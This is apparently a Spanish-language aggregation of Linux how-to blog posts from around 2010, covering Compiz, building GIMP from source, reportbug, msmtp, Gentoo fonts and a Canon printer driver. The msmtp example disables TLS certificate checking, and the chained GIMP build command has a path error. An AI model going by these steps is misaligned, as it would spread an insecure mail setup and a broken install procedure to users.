Feb 06, 2010

Jose Castaneda

Jose Castaneda
TecnoAmigo Blog feed

Compiz solo muestra 2 escritorios [Problema-Gnome]

No se si habra algun plugin que te agrege mas escritorios y no tenia ganas de buscar, lo mas facil es editar la configuracion del mismo compiz asi que agregaremos mas escritorios virtuales, en consola o usando alt+F2 escribimos:

gconf-editor

Ahora buscamos esta dirección:

apps -> compiz -> general -> screen0 -> options

Finalmente solo falta buscar esta clave hsize que tiene como valor 2 pues lo cambiamos al valor que queramos para ampliar el valor horizontal virtual en otras palabras los escritorios.

Saludos!

Este artículo ha sido leido 20 veces

©2010 TecnoAmigo Blog. All Rights Reserved.

. Comparte este post: Print Digg Sphinn del.icio.us Facebook Mixx Google Bookmarks Blogplay Add to favorites BarraPunto Bitacoras.com BlinkList blogmarks HackerNews Live Meneame MSN Reporter MySpace PDF Ping.fm Wikio Yahoo! Bookmarks Hyves LinkaGoGo LinkArena Linkter muti MyShare Netvibes Netvouz Ratimarks SphereIt Suggest to Techmeme via Twitter Technorati Tumblr Webnews.de Wikio IT Wykop Xerpi Yahoo! Buzz Yigg

Mas comentados:

Jose Castaneda

Jose Castaneda
TecnoAmigo Blog feed

Instalar Gimp 2.7 en Debian

Como saben esta versión es la que aun no esta en los repositorios experimentales de debian por eso pongo la forma de instalar esta ultima versión.

Primero si tienen gimp deben remover cualquier versión instalada en consola y como root:

apt-get remove gimp gimp-data libgimp2.0 gimp-data-extras

Ahora siempre en consola y como root instalamos las librerías y dependencias de gimp son 60MB aproximadamente asi que:

apt-get build-dep gimp

Ahora descargamos todo e instalamos con una sola linea de comando en consola y como root (Tengan en cuenta que deben dejar que acabe todo y que tardara algo la parte de compilación de Gimp puesto que es un paquete con mucho trabajo sean pacientes) entonces en consola y como Root:

wget ftp://ftp.gtk.org/pub/babl/0.1/babl-0.1.0.tar.bz2 && wget ftp://ftp.gimp.org/pub/gegl/0.1/gegl-0.1.0.tar.bz2 && wget ftp://ftp.gimp.org/pub/gimp/v2.7/gimp-2.7.0.tar.bz2 && tar jxvf gegl-0.1.0.tar.bz2 && tar jxvf babl-0.1.0.tar.bz2 && tar jxvf gimp-2.7.0.tar.bz2 && cd babl-0.1.0 && ./configure --prefix=/usr && make && make install &&cd gegl-0.1.0 && ./configure --prefix=/usr && make && make install && cd .. && cd gimp-2.7.0 && ./configure --prefix=/usr && make && make install

Explicacion de la linea de comando anterior

Si tiene problemas con la linea anterior seria paso a paso asi, primero descargo los 3 archivos necesarios para compilar e instalar gimp con esta linea

wget ftp://ftp.gtk.org/pub/babl/0.1/babl-0.1.0.tar.bz2 && wget ftp://ftp.gimp.org/pub/gegl/0.1/gegl-0.1.0.tar.bz2 && wget ftp://ftp.gimp.org/pub/gimp/v2.7/gimp-2.7.0.tar.bz2

Después descomprimo cada archivo descargado asi:

tar jxvf gegl-0.1.0.tar.bz2 && tar jxvf babl-0.1.0.tar.bz2 && tar jxvf gimp-2.7.0.tar.bz2

Después instalo cada archivo descargado asi:

cd babl-0.1.0 && ./configure --prefix=/usr && make && make install &&cd gegl-0.1.0 && ./configure --prefix=/usr && make && make install && cd .. && cd gimp-2.7.0 && ./configure --prefix=/usr && make && make install

Fin de la explicacion.

Finalmente ya deben tener la ultima versión de gimp y solo falta ejecutarla asi:

gimp-2.7

Este artículo ha sido leido 16 veces

©2010 TecnoAmigo Blog. All Rights Reserved.

. Comparte este post: Print Digg Sphinn del.icio.us Facebook Mixx Google Bookmarks Blogplay Add to favorites BarraPunto Bitacoras.com BlinkList blogmarks HackerNews Live Meneame MSN Reporter MySpace PDF Ping.fm Wikio Yahoo! Bookmarks Hyves LinkaGoGo LinkArena Linkter muti MyShare Netvibes Netvouz Ratimarks SphereIt Suggest to Techmeme via Twitter Technorati Tumblr Webnews.de Wikio IT Wykop Xerpi Yahoo! Buzz Yigg

Mas comentados:

Feb 04, 2010

Victor Ostorga

Victor Ostorga
vostorga.org » linux feed

Convirtiendo fecha Unix a fecha regular

Algunos logs de ciertos servicios solamente proveen fecha Unix, lo cual hace un poco difícil hacerse la idea de que fecha/hora exactamente se trata.

Pero la conversión en la consola es sumamente sencilla:

Convirtiendo fecha Unix a fecha regular:

$ date -d @1265312185

Convirtiendo una fecha específica a fecha Unix:

$ date --date "Thu Feb  4 13:36:25 CST 2010" +%s

Convirtiendo fecha actual a fecha unix:

$ date +%s

Feb 02, 2010

Salvador Osorio

Salvador Osorio
Casos y Cosas feed

problemas con llaves (claves) publicas en debian lenny NO_PUBKEY

Cuando queremos actualizar nuestros repositorios con el bien conocidoapt-get updateY no tenemos las claves públicas de los repositorios beryl o debian-multimedia, por ejemplo, nos aparecerá el siguiente mensaje:#Leyendo lista de paquetes... Hecho#W: GPG error: http://debian.beryl-project.org etch Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible:
Salvador Osorio

Salvador Osorio
Casos y Cosas feed

montando discos duros externos usb con particionamiento ntfs en debian lenny

Bueno no hay que hacer la gran cosa El disco duro externo que tengo es un my book WD que se conecta via usb, la primera vez que lo conecte solo aparecieron 644MB y la razon es que viene formateado con una particion ntfsroot@ns:/home/salvador# df -hS.ficheros Tamaño Usado Disp Uso% Montado en/dev/sda1 11G 7.0G 3.1G 70% /tmpfs 1010M 8.0K 1010M 1% /lib/

Jan 29, 2010

Victor Ostorga

Victor Ostorga
vostorga.org » linux feed

Script rápido para ver uso de memoria por programa

Hace un buen tiempo alguien me mostró un mini script con el cual se visualiza el uso de memoria en un equipo con GNU/Linux , el cual es el siguiente:

$ ps aux  | awk '{print $6" "$11,$12,$13,$14}' | egrep -v "0.*\[.*\]" | awk '{print $1/1024" Mb --> "$2,$3,$4,$5}' | sort -g

Cuya salida es parecida a la siguiente:
....
6.39062 Mb --> gnome-screensaver
6.85547 Mb --> /usr/libexec/vino-server --sm-disable
7.22656 Mb --> /usr/libexec/multiload-applet-2 --oaf-activate-iid=OAFIID:GNOME_MultiLoadApplet_Factory --oaf-ior-fd=18
7.27344 Mb --> /usr/libexec/gnome-settings-daemon
7.98438 Mb --> C:\windows\system32\explorer.exe /desktop
8.35547 Mb --> /usr/libexec/gnome-volume-manager --sm-disable
10.8438 Mb --> metacity
11.1094 Mb --> c:\Archivos de programa\Alcatel\A4980\Alcatel 4980\a4980.exe
14.7305 Mb --> vinagre
20.1914 Mb --> gnome-terminal
20.6758 Mb --> planner
21.2227 Mb --> c:\Archivos de programa\Alcatel\A4980\Alcatel 4980\a4980.exe
24.2578 Mb --> gnome-panel
25.5977 Mb --> nautilus
31.6602 Mb --> claws-mail
91.875 Mb --> gedit
109.188 Mb --> /usr/bin/X :0 -audit 0
144.84 Mb --> /usr/bin/firefox

Por cierto no recuerdo quien fue el autor original de dicho script, y si lo conocen haganmelo saber para darle crédito :D

Jan 25, 2010

Modem Alcatel Open Touch X060A USB Modem Tigo Honduras Debian Lenny

El fin de semana adquirí un Modem Alcatel distribuido por Tigo, pregunté en el canal y me dieron una pagina de una lista de la UES. http://linux.ues.edu.sv/pipermail/gul/2009-October/003494.html y tambien usé http://www.draisberghof.de/usb_modeswitch/ que es donde estaba el driver más nuevo. Luego seguí estos pasos msamour@kodiak:~/opt/modem$ wget http://www.draisberghof.de/usb_modeswitch/usb-modeswitch-1.1.0.tar.bz2 --2010-01-25 14:27:29-- http://www.draisberghof.de/usb_modeswitch/usb-modeswitch-1.1.0.tar.bz2 Resolving www.draisberghof.de... 194.0.247.207 Connecting to www.draisberghof.de|194.0.247.207|:80... connected. HTTP request sent, awaiting response... 200 OK Length: [...]

Montando Reportbug


Una de las cosas por las que la comunidad del software libre es conocida es por la importancia del trabajo comunitario, es decir si los usuarios creen que los developers o los que manejan cierto software la estan cagando reportan la queja, ya sea una
vulnerabilidad, un programa que se truena (crash) o simplemente quieren dar una sugerencia de alguna caracteristica que podría ser útil a otros usuarios (o al que lo reporto).

En la comunidad debian usamos un programa que sirve para eso, para reportar problemas en nuestra distro y ayudar a hacerla mas estable, este programa se llama Reporbug.

Este busca la información del paquete que presento problema o al que le pedimos caracteristicas nuevas para tener un reporte detallado y sobre todo “útil y legible para el desarrollador”.

Lo que necesitamos:

-Un sistema debian o derivado
-Reportbug (instalado por default en la mayoría)
-un MTA o servidor de correo (msmtp solo configuracion de usuario)(opcional)

Configurando reportbug

a) inicio, nivel de experiencia en Debian
Primero buscamos una aplicacion que nos esta dando problemas, luego damos el comando reportbug en la consola (para gnome ya hay un reportbug gráfico, para los que usan squeeze esta reportbug-ng también gráfico):

$ reportbug

Y nos aparecerá este mensaje:

Welcome to reportbug! Since it looks like this is the first time you have used reportbug,
we are configuring its behavior. These settings will be saved to the file "/home/user/.reportbugrc",
which you will be free to edit further.
Please choose the default operating mode for reportbug.

1 novice Offer simple prompts, bypassing technical questions.

2 standard Offer more extensive prompts, including asking about things that a
 moderately sophisticated user would be expected to know about Debian.

3 advanced Like standard, but assumes you know a bit more about Debian, including "incoming".

4 expert Bypass most handholding measures and preliminary triage routines.
This mode should not be used by people unfamiliar with Debian's policies and operating procedures.

Select mode: [novice]

Aqui dice:
“Bienvenido a reportbug!, Como parece ser esta la primera vez que usas reportbug configuraremos primero su comportamiento. Estas opciones se guardaran en /home/user/.reportbugrc, el cual tienes toda la libertad de modificar despues, elige el comportamiento predeterminado de operación para reportbug:

1 novato Ofrece preguntas simples omitiendo lo mas técnico

2 estandar Ofrece preguntas un poco mas extensas, incluyendo cosas sofisticadas, se espera que el usuario sepa sobre Debian

3 avanzado igual que estandar, pero asume que sabes un poco mas sobre Debian

4 experto Omite la mayoría de las medidas y las rutinas preliminares de pregunta. Este modo no debe ser usado por gente no familiarizada con las politicas y procedimientos de Debian”

Aqui elegiremos novato (si soy novato también) dando enter, si tenemos gnome nos preguntará si queremos interfaz gráfica o interfaz de texto, no es la gran diferencia, pero si te sientes mas cómodo/a con un entorno gráfico elígelo.

b) ¿Tienes acceso a internet?
Despues aparecerá la siguiente pregunta:

Will reportbug often have direct Internet access? (You should answer yes to this question unless you know what you are doing and
plan to check whether duplicate reports have been filed via some other channel.) [Y|n|q|?]?

Aqui dice: “¿Tendrá reportbug acceso directo a internet? (Deberías decir que si a esta pregunta, a menos que sepas lo que haces y planeas revisar si hay reportes duplicados por otro medio) “, si tienes internet lo mejor será poner si (enter), en caso de que no tengas internet (y este how-to lo has impreso) responde que no (n).

c) Identidad
Luego preguntará con que nombre pondrás el reporte de bug (tu nombre completo), será para ser reconocido entre la comunidad Debian (y para que un developer cerca de ti queme tu casa por darle mas trabajo XD).

Luego preguntará tu correo electrónico (sera de conocimiento público asi que buscate uno con buen filtro anti-spam).

d) ¿Has configurado el servidor de correo? Preguntará si tienen instalado un MTA, entro en modo cultural aqui:

(tuxwarrior se pone lentes de fondo de botella y se peina el pelo con la lengua de una vaca y 10 litros de gel)


MTA o Mail Transfer Agent es lo que conocemos todos como un “Servidor de correo”, o el software encargado de enviar o “transferir” correos hacia otras computadoras a traves de la red (ver definicion en Wikipedia: MTA), por favor no confundir con esos programas que usamos para enviar flames a listas de correo o cadenas a nuestros familiares XD, el thunderbird, evolution y todos esos son clientes de correo o MUA (Mail User Agent) tampoco ponemos aqui a los servicios de WebMail como gmail y hotmail.

Saliendo del modo cultural si tenemos instalado y configurado un servidor de correos el bug se enviará directo desde el reportbug, la mayoría de usuarios normales no tiene uno configurado (aunque si instalado), asi que responderán que no, (al final de este post pongo como montar un MTA sencillo solo para un usuario).

e) Final, Proxy y última indicación
Preguntará si se tiene un proxy en la red, en caso de existir hay que poner la dirección o la IP de esta forma: “http://192.168.1.1:puerto/” cambiando la IP por el dominio o la IP de tu proxy y el puerto por el puerto default para el proxy, si no hay proxy entonces dejar en blanco.

Ahora ya terminamos con la configuración inicial de reportbug, ahora a llenar un reporte:

Reportando un bug

Primero hay que saber que es un bug por definicion: “Un defecto de software (computer bug en inglés), es el resultado de un fallo o deficiencia durante el proceso de creación de programas de ordenador o computadora (software). Dicho fallo puede presentarse en cualquiera de las etapas del ciclo de vida del software aunque los más evidentes se dan en la etapa de desarrollo y programación. Los errores pueden suceder en cualquier etapa de la creación de software” fuente Wikipedia:bug.

Antes de llenar nuestro reporte recomiendo leer las buenas prácticas para enviar reportes de bug efectivos aqui

Encuentro un bug
Si alguna aplicación se porta extraño, se traba, usa demasiada memoria para algo muy simple o sin explicacion alguna “Truena“.

Entonces llenamos un reporte de bug de esta manera:

$ reportbug

Llenando el bug
Primero nos preguntará el nombre del paquete afectado, para saber como se llama el paquete del cual viene nuestra aplicacion problemática usamos aptitude:

$ aptitude search amarok
i amarok - easy to use media player based on the KDE Platform

en este caso vemos que el paquete al que pertenece amarok se llama “amarok”, algunos otros son mas engañosos como “epiphany-browser” ya que solo “epiphany” es el paquete de un juego que se llama igual al navegador.
El paquete debe estar instalado, no debemos mandar bugs sobre software que no tenemos.

Luego saldrá una lista de bugs que ya se enviaron sobre ese paquete (pueden ser muchísimos), por favor revisen todos los que mencionen algo sobre el mismo problema si el bug ya lo envió otra persona entonces solo revisemos si tenemos datos para aportar al bug, pero no lo enviemos de nuevo, es redundante y una pérdida de tiempo enviar bugs duplicados.

Si el bug no existe o no se ha reportado entonces nosotros debemos reportarlo y aportar la mayor cantidad de información útil sobre el bug en ingles (la mayoría de los developers son angloparlantes).

Luego nos pedirá una descripción sencilla del bug.

Luego determinamos la gravedad del bug, que puede ser:
1-Critical: hace que otros programas no relacionado en el sistema (o el propio sistema) dejen de funcionar o lo hagan erroneamente

2-Grave: hace al paquete inservible para la mayoría de usuarios o causa pérdida de datos, o inserta un hoyo de seguridad que permite el acceso a las cuentas de usuarios que usen el paquete.

3-Serious: Viola severamente alguna convención de las politicas de Debian sobre paquetes o la libertad de estos (solo developers y mantainers deben usar este).

4-Important: El bug tiene un impacto importante en la usabilidad del paquete, pero no lo hace completamente inservible para todos los usuarios

5-Does not build: No compila (developers o gente que compila las fuentes de debian para cualquier propósito)

6-normal: como el nombre lo dice es lo que normalmente encontraremos, una opcion, acción o entrada hara que el programa truene, sin que el programa sea totalmente inservible

7-minor: Fallos cosméticos, como por ejemplo una palabra mal escrita, ayuda no útil, un boton no funciona o se porta extraño.

8- wishlist: sugerencias o peticiones de carácteristicas nuevas (posibles y útiles).

Segun esta lista elegimos la severidad, luego nos abre un editor (generalmente nano o vi) para escribir la información del bug, debajo de donde se menciona la severidad que elegimos hay un espacio en blanco donde podemos poner la descripción del bug y las pruebas que hicimos para corroborar que es un problema en el programa y no otra cosa como por ejemplo una mala configuración.

Para finalizar guardamos el bug (control+x nano :x vi) luego nos preguntara si deseamos enviar el bug, aqui respondemos si (enter) si tenemos un MTA configurado, en este caso el bug será enviado de inmediato al Debian BTS para su publicación y revisión de parte del responsable del paquete, si no tenemos MTA (la mayoría) damos no (n) y nos dara la ruta donde el bug estara guardado (/tmp/reportbug-archivo), abrimos esta ruta con un editor y copiamos su contenido, luego lo pegamos en un correo nuevo desde nuestro MUA (thunderbird, evolution, claws, mutt <—-si tienes mutt configurado TIENES UN MTA) a la dirección submit@bugs.debian.org o desde nuestro webmail (preferentemente gmail o alguno que no envíe correo en HTML por default).

Montando MSMTP como MTA

Para esta tarea necesitamos una cuenta que soporte envío SMTP, usare gmail para ejemplo, primero instalamos msmtp:

#apt-get install msmtp

Luego como usuario creamos un archivo llamado ~/.msmtprc, y llenamos de la siguiente manera:

account default
host smtp.gmail.com
port 465
auth on
user usuario
password passguord
tls on
tls_starttls off
tls_certcheck off
from usuario@gmail.com

Cambia usuario por tu user de gmail y passguord por la contraseña, luego prueba con este comando si puedes enviar correo:

$echo "una prueba esto es" | msmtp -d direccion@correo.com

Cambia la direccion de correo por una dirección que puedas revisar correo, si recibes un correo sin asunto proveniente de tu cuenta de gmail entonces funciona (puedes usar mutt con este MTA sencillo).

Este MTA solo cumple la funcion de enviar correo de tu usuario hacia la cuenta de gmail asi que no puede manejar recipientes POP3 o IMAP como los servidores completos (postfix, exim, sendmail).

Espero que les haya funcionado y a enviar bugs

mejoremos juntos el software libre aunque no podamos programar

Jan 05, 2010

sms gateway con (G/W)ammu y un nokia 2760 en Debian Lenny.

Configuracion de Gammu con un Nokia 2760 usando bluetooth.

Jan 04, 2010

William Díaz

William Díaz
LEPROSYS feed

Fuentes en Gentoo

En gentoo configurar las fuentes lleva un poco más de trabajo, ahora he logrado tener las fuentes que deseaba tener realizando los siguientes pasos:

Use flags
Lo primero que hay que hacer es configurar las use flag, las siguientes banderas son las que deben de tener:
euse --enable truetype type3 cleartype corefonts

Actualizar su sistemas con las nuevas banderas:
emerge -uDNa world

Instalación
Algunas fuentes comunes que tienen que emerger son las siguientes:
app-admin/eselect-fontconfig
media-fonts/corefonts
media-fonts/dejavu
media-fonts/font-bh-ttf
media-fonts/font-bh-type1
media-fonts/freefonts
media-fonts/ttf-bitstream-vera
media-fonts/unifont
media-fonts/artwiz-aleczapka-en

Anteriormente en la Guía de gentoo se sugería instalar el grupo de paquetes llamado x11-base/xorg-x11 provee de varios paquetes útiles para la X así como también fuentes, por lo que el siguiente paso es instalarlo:
emerge x11-base/xorg-x11

Puede encontrar muchas fuentes con su descripción con el siguiente comando:
eix -cC media-fonts
(Requiere tener instalado eix)

Configuración
En esta parte lo que haremos es habilitar algunas funcionalidades de los paquetes antes instalados para proveer de la mejora en las fuentes. La siguiente configuración funciona para un monitor LCD y aplicaciones como firefox.
La imagen que le muestro abajo es mi configuración y como por ejemplo deberían de tenerla ustedes:



Para ver el listado se utiliza el comando: eselect fontconfig list
Para habilitar una opción se utiliza: eselect fontconfig enable [numero de la lista]

Ahora hay que crear un archivo para manipular las fuentes, pueden crearlo en ~/.fonts.conf sera simplemente para su usuario o tambien en /etc/fonts/local.conf para un uso global de todos los usuarios.
La configuración que funciona muy bien es la siguiente:
<?xml version='1.0'?>
<!DOCTYPE fontconfig SYSTEM 'fonts.dtd'>
<fontconfig>
<match target="font">
<edit name="rgba" mode="assign">
<const>rgb</const>
</edit>
</match>

<match target="font">
<edit name="antialias" mode="assign">
<bool>true</bool>
</edit>
</match>

<!-- Hinting -->
<match target="font">
<edit name="autohint" mode="assign">
<bool>false</bool>
</edit>
</match>

<match target="font">
<edit name="hinting" mode="assign">
<bool>true</bool>
</edit>
</match>

<match target="font">
<edit name="hintstyle" mode="assign">
<const>hintfull</const>
</edit>
</match>

<!-- LCD Filter -->
<match target="font">
<edit name="lcdfilter" mode="assign">
<const>lcddefault</const>
</edit>
</match>

<selectfont>
<rejectfont><pattern>
<patelt name="fontformat">
<string>Type 1</string>
</patelt>
</pattern></rejectfont>
</selectfont>

<match target="pattern">
<test qual="any" name="family">
<string>Courier</string>
</test>
<edit name="family" mode="assign">
<string>Consolas</string>
</edit>
</match>

<match target="pattern">
<test qual="any" name="family">
<string>Courier</string>
</test>
<edit name="family" mode="assign">
<string>Consolas</string>
</edit>
</match>

<match target="pattern">
<test qual="any" name="family">
<string>Helvetica</string>
</test>
<edit name="family" mode="assign">
<string>Helvetica CE</string>
</edit>
</match>
</fontconfig>

Aún no terminamos con la configuración hay que jugar con el orden de las fuentes instaladas en /etc/X11/xorg.conf

Pueden modificar el orden con las fuentes que mas ocupan, las de mayor prioridad estan arriba y esto afecta a como se vean sus fuentes en algunas aplicaciones.

Section "Files"
FontPath "/usr/share/fonts/misc:unscaled"
FontPath "/usr/share/fonts/Type1"
FontPath "/usr/share/fonts/TTF"
FontPath "/usr/share/fonts/OTF"
FontPath "/usr/share/fonts/corefonts"
FontPath "/usr/share/fonts/freefonts"
FontPath "/usr/share/fonts/freefont-ttf"
FontPath "/usr/share/fonts/terminus"
FontPath "/usr/share/fonts/dina"
FontPath "/usr/share/fonts/ttf-bitstream-vera"
FontPath "/usr/share/fonts/unifont"
FontPath "/usr/share/fonts/75dpi:unscaled"
FontPath "/usr/share/fonts/100dpi:unscaled"
FontPath "/usr/share/fonts/artwiz-aleczapka-en"
FontPath "/usr/share/fonts/artwiz-latin1"
FontPath "/usr/share/fonts/cyrillic"
FontPath "/usr/share/fonts/encodings"
FontPath "/usr/share/fonts/dejavu"
FontPath "/usr/share/fonts/inconsolata"
FontPath "/usr/share/fonts/liberation-fonts"
EndSection

Finamente solo falta reiniciar las X y los cambios surgirán efectos :p

Fuentes:
http://en.gentoo-wiki.com/wiki/X.Org/Fonts
http://forums.gentoo.org/viewtopic-p-6118773.html#6118773
http://www.gentoo.org/doc/en/xorg-config.xml
http://www.kev009.com/wp/2009/12/getting-beautiful-fonts-in-gentoo-linux/

Jan 03, 2010

William Díaz

William Díaz
LEPROSYS feed

pcmanfm mostrame las particiones montadas en Gentoo



Pues hay que sobrescribir un regla de hal para mostrar las particiones
cp /usr/share/hal/fdi/policy/10osvendor/99-storage-policy-fixed-drives.fdi /etc/hal/fdi/policy

Editar el archivo "/etc/hal/fdi/policy/99-storage-policy-fixed-drives.fdi" para que la linea se vea así:
<merge key="volume.ignore" type="bool">false</merge>

Reiniciar hald y voila.

Jan 02, 2010

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Joystick USB en Ubuntu 9.10 Karmic Koala

Hoy vamos a calibrar nuestro joystick USB en Ubuntu 9.10, y para ello echaremos mano del terminal del sistema. Por lo general, este tipo de dispositivos tipo Plug & Play funcionan automáticamente...

Lee todo el articulo

Dec 28, 2009

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Como unir archivos cortados con Hacha

Hoy baje una pelicula y estaba cortada con el programa hacha, hace tiempo escribi sobre ello pero no lo recordaba:

http://blogdrake.net/blog/drakedalfa/como-cortar-archivos-y-volverlos-unir-con-split-y-cat

Asi que buscando encontre Hoz:

http://hoz.sourceforge.net/

Ya lo solicite a los empaquetadores de BlogDRAKE:

http://blogdrake.net/consulta/programa-hoz-para-unir-archivos

El programa Hacha es un simple cortador de archivos es lo mismo que split asi que basta con usar cat como en el manual de arriba y se pueden pegar los archivos, el uso de Hoz es opcional ya que tiene una GUI para facilitarlo al usuario novato.

Ahora como hacerlo aqui esta un ejemplo:

[dalfa@desktop batmanbeyond]$ cat Batman\ Del\ Futuro\ El\ Regreso\ De\ Guason.rar.0 Batman\ Del\ Futuro\ El\ Regreso\ De\ Guason.rar.1 > Batman\ Del\ Futuro\ El\ Regreso\ De\ Guason.rar

Dec 23, 2009

William Díaz

William Díaz
LEPROSYS feed

Coloreando comandos con cw (color wrapper)




Descripción:
cw(color wrapper) es un no intrusivo contenedor de colores ANSI para comandos basados en unix en GNU/linux. cw esta diseñado para simular un entorno de los comando que se ejecutan, de modo que si una persona tipea 'du', 'df', etc. estos seran coloreados en tiempo real.

Yo subí este paquete por primera vez en AUR con el nombre de cwrapper, todo funcionaba bien hasta que llegaba la hora de compilar un paquete, soltando múltiples errores ( no se molesten en buscarlo en AUR con ese nombre porque ya lo borraron).
Después de un largo tiempo y una gran nanceada descubrí el problema, era simplemente eliminar un archivo llamado "file" de la carpeta "def" -.-

Ahora ya funciona bien todo o por lo menos es lo que espero, pueden encontrarlo ahora con el nombre de cw en AUR.

Vale mencionar que esta disponibles para otras distribuciones, yo solo la he probado en OpenBSD y en Gentoo a parte de Arch.

Sitio del proyecto:
http://sourceforge.net/projects/cwrapper/

Dec 17, 2009

Raul Alejandro Ascencio Trejo

Raul Alejandro Ascencio Trejo
R_Ascencio feed

Generador de sources list, para Debian y Ubuntu


Para Debian:       

http://debgen.simplylinux.ch/index.php









Para Ubuntu:

Dec 16, 2009

Raul Alejandro Ascencio Trejo

Raul Alejandro Ascencio Trejo
R_Ascencio feed

Instalando Canon IP1700 Debian Lenny



Instalacion:

1. Debes encender tu impresora antes de hacer esto, por cualquier cosa.

2. Instalamos los siguientes paquetes: alien, libpng12-0, libpng12-dev, libgtk1.2 and libgtk1.2-common:

apt-get update

sudo apt-get install alien libpng12-0 libpng12-dev libgtk1.2 libgtk1.2-common

3. Ahora descargamos los drivers y creamos una carpeta en la carpeta de home:

mkdir controladores
cd controladores
wget http://software.canon-europe.com/files/soft24301/software/iP2200_Linux_260.tar.gz 
4. Extraemos el archivo:

tar -xvzf iP2200_Linux_260.tar.gz
5. Ahora hacemos uso de alien para convertir los paquetes rpm descargados:

sudo alien cnijfilter-common-2.60-1.i386.rpm cnijfilter-ip2200-2.60-1.i386.rpm
6. Instalamos todos los paquetes:

sudo dpkg -i *.deb

7. Nos aseguramos que las librerias son correctas,  /usr/lib/libtiff.so.3 deberia indicar /usr/lib/libtiff.so.4 (o algo asi como /usr/lib/libtiff.so.4) bueno en conosola colocamos esto:
sudo ln -s /usr/lib/libtiff.so.4 /usr/lib/libtiff.so.3
Esta es la parte importante! Los drivers de la ip2200 necesitan usar libtiff.so.3, pero esa es una version antigua, pero esto se puede arreglar haciendo que libtiff.so.3 indique a  libtiff.so.4.


Tambien /usr/lib/libpng.so.3 deberia apuntar a /usr/lib/libpng.so:

sudo ln -s /usr/lib/libpng.so /usr/lib/libpng.so.3
y  /usr/lib/libxml2.so.2 deberia apuntar hacia /usr/lib/libxml.so.1:

sudo ln -s /usr/lib/libxml2.so.2 /usr/lib/libxml.so.1
ahora haz cargar todos los cambios:
sudo ldconfig
8. Reinicia las cups
sudo /etc/init.d/cups restart 
9. Bueno esto es lo ultimo, si estas en gnome:
  • Dirigete a sistema
  • Administracion
  • Imprimiendo
  • Nuevo
  • El primer slot, adelante
  • Seleccionar la impresora desde la base de datos
  • Seleccionamos Canon, :)
  • Nos vamos hasta el final de la lista 
  • Seleccionamos IP2200 Ver 2.60
  • Adelante
  •  Aplicar
Eso es todo luego prueben a imprimir una pagina, desde gedit o openoffice.

Bueno los unico que hice en esto fue medio traducir esto: https://help.ubuntu.com/community/HardwareSupportComponentsPrinters/CanonPrinters/CanonPixmaIP2200, espero que les sirva.

Dec 14, 2009

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Como convertir un video .wmv a .avi con mencoder

Primero se instala Mencoder asi:

[dalfa@desktop ~]$ su -
Password:

[root@desktop ~]# urpmi mencoder
Para esto se debe tener los repositorios de PLF configurados.

Ahora para convertir el archivo se ejecuta:
mencoder archivo-original.wmv -ofps 23.976 -ovc lavc -oac copy -o archivo-convertido.avi

Dec 11, 2009

Sirviendo Videos para el PS3 desde Debian Lenny.

Como logré ver videos con streamming en mi Ps3 dede mi Debian Lenny...

Dec 07, 2009

Raul Alejandro Ascencio Trejo

Raul Alejandro Ascencio Trejo
R_Ascencio feed

Mi corta experiencia con "GNU/Linux"

Todo eel colmpieza una tarde, despues degio al llegar a la casa me puse a realizar una tarea en mi entonces preciado windows xp con el office 2007, bueno termine y dedique un poco mas de tiempo al ocio y pense en "personalizar" mi pc, asi que me dispuse a buscar temas, iconos, efectos no se algo que me hiciera escapar del para mi feo aspecto del winxp pero bueno era lo unico q conocia (aunque antes ya habia visto un linux no recuerdo q distro creo q pudiera haber sido debian pero bueno es otra historia ademas estaba pequeño) entonces en un foro vi un cubo con escritorios en cada lado y claro pense que era un fake no sabia nada de informatica, bueno aun creo q solo se un poco pero con el tiempo se aprende, vi que lo "llamaban" compiz asi q empeze a buscar (en google "compiz") descubri que era para linux ¿? seria una aplicacion tal ves asi que a investigar y no me di cuenta que era un sistema operativo pero no le puse atencion asi que busque algo similar a compiz para windows y di con yom 3D (creo q asi se llama) y bien! tenia un cubo en mi escritorio feo pero era un cubo, aun asi me entro curiosidad por "linux" asi empece buscando informacion, imagenes, opiniones, bueno al final para con Ubuntu 8.10 bueno de lejitos, me baje el iso y dije a probrarlo solo que no sabia como, y me entere del concepto virtualizar, y woow! "una pc sobre otra" y bueno busque alguna aplicacion buena y fui a parar con virtual pc claro microsoft pero bueno "era lo mas conocia" y me propuse a instalar segun yo y no se podia virtualizar y wtf??!!! como???, en ese momento pense o virtual pc es una basura, o este ubuntu no sirve, o de plano era tonto para esto, pero no me di por vencido no descubri el problema pero descubri otro programa VIRTUAL BOX!!! puro poder pesaba menos tenia una mejor interfaz, mejores ayudantes, y cuando elejias el S.O a virtualizar decia en una casilla "linux las demas distros y por un lado Ubuntu" y bien me puse manos a la obra todo era cuestion de "cliks", cuando inicie la pc virtual con Ubuntu arranca el cd y bueno me daba a escoger el idioma, luego tenia en la primera linea "probar ubuntu sin alterar el equipo" le di click y arranco como si estuviera instalado, tenia el firefox, algo que se llamaba pidgin, el explorador de archivos, el open-office, Gimp bueno mas aplicaciones utiles que las del windows xp junto con las que le habia instalado yo, me quede asombrado podia usar el sistema sin instalarlo eso me motivo mas a instalarlo lo probe y todo andaba perfecto ya me habian explicado que perderia mis aplicaciones de windows bueno no era mucho solo el office 2007 que era lo mas "importante" en esa pc para mi a y los juegos pero que va, el most wanted, el san andreas y la pes 05 no era mucho bueno si pero solo eran juegos me puedo entretener jugando tetris, el proceso de instalacion era bello nada que ver al de winxp era todo grafico "y decian que linux era para expertos que todo era consola" puros tabus! y sucedio lo peor, lo inimaginable, la pantalla principal se veia mal, distorsionada, con rayas y casi se desisto de linux, la primera impresion instalada y era horrible, bueno el escritorio era hermoso la combinacion de blanco, anaranjado, y el fondo de escritorio eran hermosos, pero la pantalla se veia malisima pero me acorde que en window$ tambien tenia problemas algunas veces con el entorno grafico, asi que me dispuse otra ves a investigar y conoci el termino tarjeta de video, y que la mia era una tarjeta integrada, sys no se que (no me acuerdo) y que no habia soporte de controladores para "linux" y los que habian era de la comunidad creo, pero para tarjetas de video no habia nada, ni siquiera la pagina de ellos tenia documentacion acerca de "linux" o algo por el estilo, pense en volver instalar pero curosear tal ves podia hacer algo para que no volveria a pasar eso, la solucion fue facil solo tuve que apretar f4 antes de la instalacion para graficos seguros y listo fuera errores de video, lo instalar y todo normal, no la ocupaba mucho era una maquina virtual pero de ves en cundo lo revisaba me di cuenta que los programas eran extencion deb, claro antes no lo sabia por que los instalaba desde el synaptic o en añadir o quitar programas (lo mismo), 